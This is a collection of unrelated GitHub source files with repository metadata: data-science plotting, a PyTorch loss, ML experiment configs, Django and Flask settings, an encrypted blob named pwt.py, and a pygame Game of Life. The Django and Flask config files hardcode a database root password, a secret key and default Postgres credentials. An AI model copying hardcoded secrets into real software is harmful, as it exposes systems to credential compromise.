Total = Yes + No
print(Total)
'''
# In[17]:
df.tail(2)
# In[18]:
import numpy as np
import matplotlib.pyplot as plt
N = 24
Percent_Yes = df['Percent_Yes']
Percent_No = df['Percent_No']
ind = np.arange(N)
width = 0.35
plt.figure(figsize=(20, 7))
plt.bar(ind, Percent_Yes, width, label='FinTech')
plt.bar(ind + width, Percent_No, width,label='Non-FinTech')
plt.ylabel('Percentage')
plt.title('Banks')
plt.xticks(ind + width / 2 , df['Bank_Name'], rotation=90)
plt.legend(loc='best')
plt.show()
# In[19]:
df_sorted = df.sort_values(by='Percent_Yes', ascending=False)
df_sorted.head(2)
# In[20]:
df_new = df_sorted[df_sorted["Percent_Yes"]>0]
#Utilise matplotlib to scale our goal numbers between the min and max, then assign this scale to our values.
norm = matplotlib.colors.Normalize(vmin=min(df_new.Percent_Yes), vmax=max(df_new.Percent_Yes))
colors = [matplotlib.cm.Blues(norm(value)) for value in df_new.Percent_Yes]
#Create our plot and resize it.
fig = plt.gcf()
ax = fig.add_subplot()
fig.set_size_inches(20, 7)
#Use squarify to plot our data, label it and add colours. We add an alpha layer to ensure black labels show through
squarify.plot(label=df_new.Bank_Name, sizes=df_new.Percent_Yes, color = colors, alpha=.6)
plt.title("Fintech trends across all Banks",fontsize=20,fontweight="bold")
#Remove our axes and display the plot
plt.axis('off')
plt.show()
# In[21]:
Fintech_only = df_final_data[df_final_data["Fintech"] == "Yes"]
# In[22]:
Fintech_only.head(2)
# In[33]:
# Making list of clusters
cluster1 = Fintech_only['Matched Cluster']
cluster_list = []
for i in list(cluster1):
for j in i.split(","):
cluster_list.append(j)
#convert list to dictionary with values and its occurences for matched clusters
word_could_dict =collections.Counter(cluster_list)
# converting to data frame of clusters and corresponding counts
dict1 = {'clusters': list(word_could_dict.keys()), 'counts': list(word_could_dict.values())}
df_cluster = pd.DataFrame.from_dict(dict1)
# In[34]:
# Pie chart, of % of different Fintech jobs in market
labels = df_cluster['clusters']
sizes = df_cluster['counts']
fig1, ax1 = plt.subplots()
ax1.pie(sizes, labels=labels, autopct='%1.1f%%', textprops={'fontsize': 17})
ax1.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.
plt.title(" % of different Fintech jobs in market",fontsize=20,fontweight="bold")
fig = plt.gcf()
fig.set_size_inches(12,12)
# In[35]:
# Creating word cloud from word_could_dict
wordcloud = WordCloud(width = 800, height = 300).generate_from_frequencies(word_could_dict)
plt.figure(figsize=(15,8))
plt.imshow(wordcloud)
plt.axis("off")
plt.show()
plt.savefig('/root/airflow/dags/yourfile.png', bbox_inches='tight')
plt.close()
# In[36]:
# Making list of matched key words
cluster2 = Fintech_only['Matched Words']
keywords_list = []
for i in list(cluster2):
for j in i.split(","):
keywords_list.append(j)
#convert it to dictionary with values and its occurences for matched key words
word_could_dict =collections.Counter(keywords_list)
# converting to data frame of keywords and corresponding counts
dict2 = {'keywords': list(word_could_dict.keys()), 'counts': list(word_could_dict.values())}
df_keywords = pd.DataFrame.from_dict(dict2)
# In[37]:
# Creating word cloud from word_could_dict
wordcloud = WordCloud(width = 800, height = 300).generate_from_frequencies(word_could_dict)
plt.figure(figsize=(15,8))
plt.imshow(wordcloud)
plt.axis("off")
plt.show()
plt.savefig('/root/airflow/dags/yourfile.png', bbox_inches='tight')
plt.close()
# In[38]:
# matching clusters to keywords
clu_list = []
key_list = []
buckets = pd.read_csv('/root/airflow/dags/fintech_keywords.csv')
for i in list(word_could_dict.keys()):
try:
clu_list.append(buckets.loc[buckets.Keywords == i,'Cluster'].values[0])
key_list.append(i)
except:
continue
dict_donut = {'cluster': clu_list, 'keys': key_list}
dict_donut
df_donut = pd.DataFrame.from_dict(dict_donut)
df_donut = df_donut.sort_values(by='cluster', ascending=False)
df_donut
# In[40]:
# Make data: selected top 3 clusters and words
group_names=df_cluster['clusters']
group_size=df_cluster['counts']
subgroup_names=df_keywords['keywords']
subgroup_size=df_keywords['counts']
# Create colors
a, b, c, d, e, f, g, h, i=[plt.cm.Blues, plt.cm.Reds, plt.cm.Greens, plt.cm.Purples, plt.cm.Greys, plt.cm.Oranges, plt.cm.GnBu, plt.cm.YlOrBr, plt.cm.RdPu]
# First Ring (outside)
fig, ax = plt.subplots()
ax.axis('equal')
mypie, _ = ax.pie(group_size, radius=1.3, labels=group_names, colors=[a(0.6), b(0.6), c(0.6), d(0.6), e(0.6), f(0.6), g(0.6), h(0.6), i(0.6)] )
plt.setp( mypie, width=0.3, edgecolor='white')
# Second Ring (Inside)
mypie2, _ = ax.pie(subgroup_size, radius=1.3-0.3, labels=subgroup_names, labeldistance=0.7, colors=[a(0.5), a(0.4), a(0.3), b(0.5), b(0.4), c(0.6), c(0.5), c(0.4), c(0.3), c(0.2)])
plt.setp( mypie2, width=0.4, edgecolor='white')
plt.margins(0,0)
fig = plt.gcf()
fig.set_size_inches(12,12)
# show it
plt.show()
|
[
"noreply@github.com"
] |
Team4INFO6105.noreply@github.com
|
e4833a472cc0ff38f6a60f406c33c3fdacf5ec57
|
194bf37081df54b3a9b04ab0c4301d2186a26b6a
|
/Losses/LCCLoss.py
|
c5c9976af4a93c67668bd9987409e9af4f6dd12a
|
[] |
no_license
|
Qidian213/NTIRE2021_Depth_Guided_Image_Relighting
|
35d35d16d8e5fabd052455b0baab0bd21ed8741f
|
09e2c92d3f473b5f8086c4cc63354499691036b4
|
refs/heads/main
| 2023-07-02T10:07:17.084843
| 2021-08-14T11:11:28
| 2021-08-14T11:11:28
| 347,814,644
| 4
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,444
|
py
|
import torch
import torch.nn as nn
import torch.nn.functional as F
from .ColorFunction import *
class LCCLoss(nn.Module):
"""
local (over window) normalized cross correlation (square)
"""
def __init__(self, win=[9, 9], eps=1e-5):
super(LCCLoss, self).__init__()
self.win = win
self.eps = eps
def forward(self, I, J):
I = bgr_to_grayscale(I)
J = bgr_to_grayscale(J)
I2 = I.pow(2)
J2 = J.pow(2)
IJ = I * J
filters = Variable(torch.ones(1, 1, self.win[0], self.win[1]))
filters = filters.cuda()
padding = (self.win[0]//2, self.win[1]//2)
I_sum = F.conv2d(I, filters, stride=1, padding=padding)
J_sum = F.conv2d(J, filters, stride=1, padding=padding)
I2_sum = F.conv2d(I2, filters, stride=1, padding=padding)
J2_sum = F.conv2d(J2, filters, stride=1, padding=padding)
IJ_sum = F.conv2d(IJ, filters, stride=1, padding=padding)
win_size = self.win[0]*self.win[1]
u_I = I_sum / win_size
u_J = J_sum / win_size
cross = IJ_sum - u_J*I_sum - u_I*J_sum + u_I*u_J*win_size
I_var = I2_sum - 2 * u_I * I_sum + u_I*u_I*win_size
J_var = J2_sum - 2 * u_J * J_sum + u_J*u_J*win_size
cc = cross*cross / (I_var*J_var + self.eps)
lcc = -1.0 * torch.mean(cc) + 1
return lcc
|
[
"xhx1247786632@gmail.com"
] |
xhx1247786632@gmail.com
|
fd4c4dfb7df1f3df9c10d96a8399a4621af6f1e5
|
79da6fbbd5269d1f6ac25aae8000e2d716cdbcdf
|
/settings_local.py
|
8c56b6a5ef479d6b3ffa533e8d398ae9d37b13dc
|
[] |
no_license
|
rdrsh/logoclone
|
617629cd2995c85f15751b05b0e7612e9fd60f40
|
a8a455486d4d500e9bd20ba3fef2229b0650f6ff
|
refs/heads/master
| 2021-01-10T05:03:47.517556
| 2016-02-10T14:33:02
| 2016-02-10T14:33:02
| 51,443,429
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 405
|
py
|
DATABASE_ENGINE = 'mysql'
DATABASE_NAME = 'logoclon'
DATABASE_USER = 'root'
DATABASE_PASSWORD = 'ser ver 2'
DEBUG = True
TEMPLATE_DEBUG = DEBUG
ADMINS = (
('rdoroshko', 'rdoroshko@gmail.com'),
)
MANAGERS = ADMINS
DEFAULT_VARS = {
'phone': '(495) 649-83-65',
'buyColCount': 3,
'emailFaq': 'info@2orange.com',
'emailContact': 'info@2orange.com',
}
|
[
"rdoroshko@gmail.com"
] |
rdoroshko@gmail.com
|
0182d1746a88d55955491a6d45140ea1948b53e5
|
9f9f4280a02f451776ea08365a3f119448025c25
|
/plans/hsppw/lcut_hsp-s_065_base_mlpc_hs.py
|
12677d484791a417487debc4c1ccfe38a4c974b6
|
[
"BSD-2-Clause"
] |
permissive
|
dbis-uibk/hit-prediction-code
|
6b7effb2313d2499f49b2b14dd95ae7545299291
|
c95be2cdedfcd5d5c27d0186f4c801d9be475389
|
refs/heads/master
| 2023-02-04T16:07:24.118915
| 2022-09-22T12:49:50
| 2022-09-22T12:49:50
| 226,829,436
| 2
| 2
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,876
|
py
|
"""Plan using all features."""
import os.path
from dbispipeline.evaluators import CvEpochEvaluator
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import MinMaxScaler
import hit_prediction_code.common as common
from hit_prediction_code.dataloaders import ClassLoaderWrapper
from hit_prediction_code.dataloaders import CutLoaderWrapper
from hit_prediction_code.dataloaders import EssentiaLoader
import hit_prediction_code.evaluations as evaluations
from hit_prediction_code.models.neural_network import MLPClassifier
from hit_prediction_code.result_handlers import print_results_as_json
from hit_prediction_code.transformers.label import compute_hit_score_on_df
PATH_PREFIX = 'data/hit_song_prediction_msd_bb_lfm_ab/processed'
number_of_classes = 65
dataloader = ClassLoaderWrapper(
wrapped_loader=CutLoaderWrapper(
wrapped_loader=EssentiaLoader(
dataset_path=os.path.join(
PATH_PREFIX,
'hsp-s_acousticbrainz.parquet',
),
features=[
*common.all_no_year_list(),
],
label='yang_hit_score',
nan_value=0,
data_modifier=lambda df: compute_hit_score_on_df(
df,
pc_column='lastfm_playcount',
lc_column='lastfm_listener_count',
hit_score_column='yang_hit_score',
),
),
number_of_bins=number_of_classes,
),
labels=list(range(number_of_classes)),
)
pipeline = Pipeline([
('scale', MinMaxScaler()),
('model',
MLPClassifier(
hidden_layer_sizes=(256, 128, 128, 128, 64),
verbose=True,
)),
])
evaluator = CvEpochEvaluator(
cv=evaluations.cv(),
scoring=evaluations.metrics.ordinal_classifier_scoring(),
scoring_step_size=1,
)
result_handlers = [
print_results_as_json,
]
|
[
"mikevo-uibk@famv.net"
] |
mikevo-uibk@famv.net
|
207805b4e3cbdbea46f7b77c576758c717dbda2f
|
6dc7b6253b5958684e87af51f4aaf98f641a5c4f
|
/project/config.py
|
5f0b85f9b8920dc0b03abddf1c3c6785033691e5
|
[
"MIT"
] |
permissive
|
ktzoulas/stateless-password-manager
|
963f5524fc5425fcdf37655fffd9f3a4311c330d
|
c2b8a5cad878758a924a5d8550e5b80b50d7a60b
|
refs/heads/master
| 2023-05-25T14:36:49.336598
| 2021-01-09T23:51:25
| 2021-01-09T23:51:25
| 210,364,250
| 0
| 1
|
MIT
| 2020-12-30T11:28:38
| 2019-09-23T13:37:25
|
Python
|
UTF-8
|
Python
| false
| false
| 1,186
|
py
|
"""
Configuration parameters for the different environments (development, testing and production).
"""
# pylint: disable=too-few-public-methods
import os
BASEDIR = os.path.abspath(os.path.dirname(__file__))
class BaseConfig:
"""Base Configuration"""
APP_NAME = os.getenv('APP_NAME', 'SPaMan')
DEBUG = False
DEBUG_TB_ENABLED = False
LOGGING_FILE = 'spaman.log'
LOGGING_FORMAT = '%(asctime)s %(levelname)-8s %(module)s.%(funcName)s:%(lineno)s %(message)s'
SECRET_KEY = os.getenv('SECRET_KEY', '77c84dc23ad11ebd1e78e80acf73ce8a')
SQLALCHEMY_DATABASE_URI = 'postgres://postgres:postgres@localhost:5432/spamandb'
SQLALCHEMY_TRACK_MODIFICATIONS = False
WTF_CSRF_ENABLED = False
class DevelopmentConfig(BaseConfig):
"""Development Configuration"""
DEBUG = True
DEBUG_TB_ENABLED = True
DEBUG_TB_INTERCEPT_REDIRECTS = False
ENV = 'development'
class TestingConfig(BaseConfig):
"""Testing Configuration"""
SQLALCHEMY_DATABASE_URI = 'postgres://postgres:postgres@localhost:5432/spamandb_test'
TESTING = True
class ProductionConfig(BaseConfig):
"""Production Configuration"""
WTF_CSRF_ENABLED = True
|
[
"kostantinos.tzoulas@sgdigital.com"
] |
kostantinos.tzoulas@sgdigital.com
|
49a379c0c7c03bba5d46b643ebb5be717aadfc6d
|
7d8421a55dec94c77d8db7f7d1502cf2ef9edd37
|
/dev/postProcess__mask2json.py
|
31ae392656b2353d2abd03dccbc5d9f4cd18d5ca
|
[
"MIT"
] |
permissive
|
oeway/img-segment
|
6eeb4dfb7db926d1ce6fa87fbe574b1bbf48f805
|
a90c4990d3972130f47a0c390b641bcd082d50e6
|
refs/heads/master
| 2020-05-16T06:04:41.699067
| 2019-04-22T14:51:33
| 2019-04-22T14:51:33
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,416
|
py
|
# Code to post-process segmentation results
# Part about actual cell segmentation comes from https://gitlab.pasteur.fr/wouyang/im2im-segmentation:
# ==> run_im2im.py --> calls segment_cells_nuclei (from im2imLib.segmentationUtils)
#
# Test files: on GitHub: img-segment/data/postprocessing/outputs/data/postprocessing/mask2json
#%% Test modules
import sys
import os
import importlib
from skimage import io
import numpy as np
from geojson import Feature, FeatureCollection, dump # Used to create and save the geojson files: pip install geojson
sys.path.insert(0,os.path.abspath(os.path.join('..','imgseg')))
#%% Loop over files and perform postprocessing
import segmentationUtils
importlib.reload(segmentationUtils)
#%% Process one folder and save as one json file allowing multiple annotation types
simplify_tol = 1 # Tolerance for polygon simplification with shapely (0 to not simplify)
outputs_dir = os.path.abspath(os.path.join('..','data','postProcessing','mask2json'))
if os.path.exists(outputs_dir):
print(f'Analyzing folder:{outputs_dir}')
features_all = [] # For geojson
for file in [f for f in os.listdir(outputs_dir) if '_filled_output.png' in f]:
# Read png with mask
print(f'Analyzing file:{file}')
file_full = os.path.join(outputs_dir, file)
mask_img = io.imread(file_full)
# Get label from file name
label = file.split('_filled_output.png', 1)[0]
# Call function to transform segmentation masks into (geojson) polygons
features,contours = segmentationUtils.masks_to_polygon(mask_img,
label = label,
simplify_tol=simplify_tol,
plot_simplify=False,
save_name=None)
features_all = features_all + features
# Here summarizing the geojson should occur
image_size = mask_img.shape # This might cause problems if any kind of binning was performed
feature_collection = FeatureCollection(features_all,bbox = [0, 0.0, image_size[0], image_size[1]])
# Save to json file
save_name_json = os.path.join(outputs_dir,'prediction.json')
with open(save_name_json, 'w') as f:
dump(feature_collection, f)
f.close()
|
[
"muellerf.research@gmail.com"
] |
muellerf.research@gmail.com
|
45e09ee0d1069171658a277292abb6299f907758
|
af93b3909f86ab2d310a8fa81c9357d87fdd8a64
|
/begginer/7.cas/domaci7cas.py
|
88049f37d52c132bb52efea35fba10a2e9a7c341
|
[] |
no_license
|
BiljanaPavlovic/pajton-kurs
|
8cf15d443c9cca38f627e44d764106ef0cc5cd98
|
93092e6e945b33116ca65796570462edccfcbcb0
|
refs/heads/master
| 2021-05-24T14:09:57.536994
| 2020-08-02T15:00:12
| 2020-08-02T15:00:12
| 253,597,402
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 433
|
py
|
brojBrojeva=input('Koliko brojeva zelite da unesete?')
broj_brojeva=int(brojBrojeva)
brojevi=[]
suma=0
while broj_brojeva>=1:
uneti_brojevi=int(input("Unesite broj:"))
suma=suma+uneti_brojevi
broj_brojeva=broj_brojeva-1
brojevi.append(uneti_brojevi)
srednja_vrednost=suma/int(brojBrojeva)
print('Uneli ste sledece brojeve:',brojevi)
print('Njihov zbir je:',suma)
print('A srednja vrednost je:',srednja_vrednost)
|
[
"zabiljanupavlovic@gmail.com"
] |
zabiljanupavlovic@gmail.com
|
cc4f11a90fb98d112e6774bffa87fb6810e99afd
|
a2f23955ccdb9cad17db9f5928832d4e7d17b69d
|
/run/webpy/experimental/pwt.py
|
da03c94c8e33a0111a296e747220d7cb4ea700e9
|
[] |
no_license
|
wellcomez/crash
|
03ae8d66e21145a478aa62961f442c6f7823b96c
|
a0e39dfa34bb26934ae2497777c242b959c02f76
|
refs/heads/master
| 2020-06-01T18:33:25.321334
| 2014-08-08T09:27:16
| 2014-08-08T09:27:16
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,185
|
py
|
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
|
[
"zhu.jialai@gmail.com"
] |
zhu.jialai@gmail.com
|
c25a9c2c8c9337c9b2b8b604d9b3c582e34427eb
|
09e47cd344d849c968e8edaeb40a4d6353f51836
|
/gameoflife.py
|
ec21ab2570fc68ccfb193da21213c6ccbf182826
|
[] |
no_license
|
1not/conway-s-game-of-life
|
a046d9b31a4218a06551c26dc31d542fab2e6594
|
b9cfc94f89fe2a048630e41bf2561cc3cc05937d
|
refs/heads/master
| 2020-05-26T17:02:37.874257
| 2019-05-23T21:58:13
| 2019-05-23T21:58:13
| 126,390,083
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 11,933
|
py
|
import os
os.environ['PYGAME_HIDE_SUPPORT_PROMPT'] = "hide"
import pygame
import random
WIDTH = 1020
HEIGHT = 640
TITLE = "Conway's Game of Life"
TILESIZE = 10
FPS = 2
BACKGROUND = [20, 20, 20]
GRID = [0, 0, 0]
r = 100
g = 100
b = 100
ORGANISM = [r, g, b]
populated = []
unpopulated = []
location = []
i = 1
pygame.init()
RESOLUTION = [WIDTH, HEIGHT]
screen = pygame.display.set_mode(RESOLUTION)
pygame.display.set_caption(TITLE)
icon = pygame.image.load('../../icon.png')
pygame.display.set_icon(icon)
global start
global running
global iteration
global simulation
global remember
global setup
global remove
global dupl
global screenshot
start = False
running = True
iteration = 0
simulation = True
remember = 2
setup = False
remove = False
dupl = False
screenshot = False
font = pygame.font.Font('../../ProximaNovaThin.otf', 56)
font2 = pygame.font.Font('../../ProximaNovaThin.otf', 28)
font3 = pygame.font.Font('../../ProximaNovaThin.otf', 22)
font4 = pygame.font.Font('../../ProximaNovaThin.otf', 22)
font4.set_bold(True)
text = font.render('Game of Life', True, [255, 255, 255])
text1 = font2.render('[Press Enter to Continue]', True, [180, 180, 180])
text2 = font2.render('Life: ', True, [180, 180, 180])
text3 = font2.render(str(len(populated)), True, [255, 255, 255])
text4 = font2.render('Iteration: ', True, [180, 180, 180])
text5 = font2.render(str(iteration), True, [255, 255, 255])
text6 = font4.render(' Controls:', True, [50, 130, 50])
text7 = font3.render('Enter - Pause/Start', True, [80, 160, 80])
text8 = font3.render('R - Reset', True, [80, 160, 80])
text9 = font3.render('Esc - Quit', True, [80, 160, 80])
text10 = font3.render('Left Click - Generate', True, [80, 160, 80])
text11 = font3.render('Up/Down - Change FPS', True, [80, 160, 80])
text12 = font2.render('FPS: ', True, [180, 180, 180])
text13 = font2.render(str(FPS), True, [255, 255, 255])
text14 = font2.render(str(remember), True, [255, 255, 255])
text15 = font3.render('Right Click - Remove', True, [80, 160, 80])
text16 = font3.render('S - Screenshot Mode', True, [80, 160, 80])
textRect = text.get_rect()
textRect.center = (WIDTH // 2, HEIGHT // 2 - 40)
text1Rect = text1.get_rect()
text1Rect.center = (WIDTH // 2, HEIGHT // 2 + 5)
text2Rect = text3.get_rect()
text2Rect.center = (40, 40)
text3Rect = text3.get_rect()
text3Rect.center = (96, 40)
text4Rect = text4.get_rect()
text4Rect.center = (87, 80)
text5Rect = text5.get_rect()
text5Rect.center = (150, 80)
text6Rect = text6.get_rect()
text6Rect.center = (56, 390)
text7Rect = text7.get_rect()
text7Rect.center = (116, 430)
text8Rect = text8.get_rect()
text8Rect.center = (71, 460)
text9Rect = text9.get_rect()
text9Rect.center = (73, 490)
text10Rect = text10.get_rect()
text10Rect.center = (127, 520)
text15Rect = text15.get_rect()
text15Rect.center = (127, 550)
text16Rect = text16.get_rect()
text16Rect.center = (130, 610)
text11Rect = text11.get_rect()
text11Rect.center = (141, 580)
text12Rect = text12.get_rect()
text12Rect.center = (63, 120)
text13Rect = text13.get_rect()
text13Rect.center = (101, 120)
text14Rect = text14.get_rect()
text14Rect.center = (101, 120)
clock = pygame.time.Clock()
def event():
global running
global start
global setup
global populated
global simulation
global iteration
global FPS
global remember
global remove
global screenshot
for event in pygame.event.get():
if pygame.mouse.get_pressed()[0]:
try:
remove = False
coordinates = pygame.mouse.get_pos()
life(coordinates[0], coordinates[1])
except AttributeError:
pass
if pygame.mouse.get_pressed()[2]:
try:
remove = True
coordinates = pygame.mouse.get_pos()
life(coordinates[0], coordinates[1])
except AttributeError:
pass
if event.type == pygame.QUIT:
running = False
setup = False
start = False
screenshot = False
simulation = False
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_ESCAPE:
running = False
setup = False
start = False
screenshot = False
simulation = False
if setup == True:
if event.key == pygame.K_DOWN:
if remember > 1:
remember = remember - 1
if event.key == pygame.K_UP:
if remember < 20:
remember = remember + 1
if event.key == pygame.K_RETURN:
if setup == True:
setup = False
start = True
elif start == True:
setup = True
start = False
elif running == True:
running = False
setup = True
if event.key == pygame.K_r:
if setup == True:
iteration = 0
populated.clear()
if event.key == pygame.K_s:
if start == True:
start = False
screenshot = True
elif screenshot == True:
screenshot = False
start = True
def grid():
for x in range(0, WIDTH, TILESIZE):
pygame.draw.line(screen, GRID, (x, 0), (x, HEIGHT), 1)
for y in range(0, HEIGHT, TILESIZE):
pygame.draw.line(screen, GRID, (0, y), (WIDTH, y), 1)
def life(x, y):
global populated
global dupl
global TILESIZE
if running == True:
TILESIZE = 20
X_TILESIZE = x * TILESIZE
Y_TILESIZE = y * TILESIZE
location = [X_TILESIZE, Y_TILESIZE]
populated.append(location)
else:
TILESIZE = 10
x = x - x % TILESIZE
y = y - y % TILESIZE
X_TILESIZE = x
Y_TILESIZE = y
location = [X_TILESIZE, Y_TILESIZE]
if setup == True and len(populated) >= 1 and remove == True:
for org in populated:
if org == location:
populated.remove(org)
elif setup == True and remove == False:
for org in populated:
if org == location:
dupl = True
if dupl == False:
populated.append(location)
dupl = False
del location
def death(location):
global unpopulated
unpopulated.append(location)
del location
def factory():
life(24, 10)
life(24, 13)
life(25, 12)
life(23, 12)
life(24, 12)
life(43, 10)
life(43, 11)
life(43, 12)
life(39, 5)
life(40, 6)
life(41, 7)
life(42, 8)
life(43, 9)
life(40, 10)
life(40, 14)
life(42, 19)
life(42, 11)
def render():
global populated
global iteration
global start
global running
global setup
global FPS
global remember
global screenshot
screen.fill(BACKGROUND)
for organism in populated:
if start == True or screenshot == True:
r = random.randint(10, 250)
g = random.randint(10, 250)
b = random.randint(10, 250)
elif running == True:
r = 30
g = random.randint(60, 160)
b = 30
else:
r = 100
g = 100
b = 100
ORGANISM = [r, g, b]
pygame.draw.rect(screen, ORGANISM, (organism, [TILESIZE, TILESIZE]))
if setup == True:
grid()
if setup == True or start == True:
screen.blit(text2, text2Rect)
text3 = font2.render(str(len(populated)), True, [255, 255, 255])
screen.blit(text3, text3Rect)
screen.blit(text4, text4Rect)
if start == True and len(populated) != 0:
iteration += 1
text5 = font2.render(str(iteration), True, [255, 255, 255])
screen.blit(text5, text5Rect)
if start == True:
screen.blit(text12, text12Rect)
text13 = font2.render(str(FPS), True, [255, 255, 255])
screen.blit(text13, text13Rect)
if setup == True:
screen.blit(text12, text12Rect)
text14 = font2.render(str(remember), True, [255, 255, 255])
screen.blit(text14, text14Rect)
if running == True:
screen.blit(text, textRect)
screen.blit(text1, text1Rect)
screen.blit(text6, text6Rect)
screen.blit(text7, text7Rect)
screen.blit(text8, text8Rect)
screen.blit(text9, text9Rect)
screen.blit(text10, text10Rect)
screen.blit(text11, text11Rect)
screen.blit(text15, text15Rect)
screen.blit(text16, text16Rect)
pygame.display.flip()
def duplication():
global location
global i
duplicate = False
if i == 1:
death(location)
else:
for empty in unpopulated:
if empty == location:
duplicate = True
if duplicate == False:
death(location)
duplicate = False
def rule():
global unpopulated
global populated
global location
global running
global i
unpopulated = []
i = 1
for organism in populated:
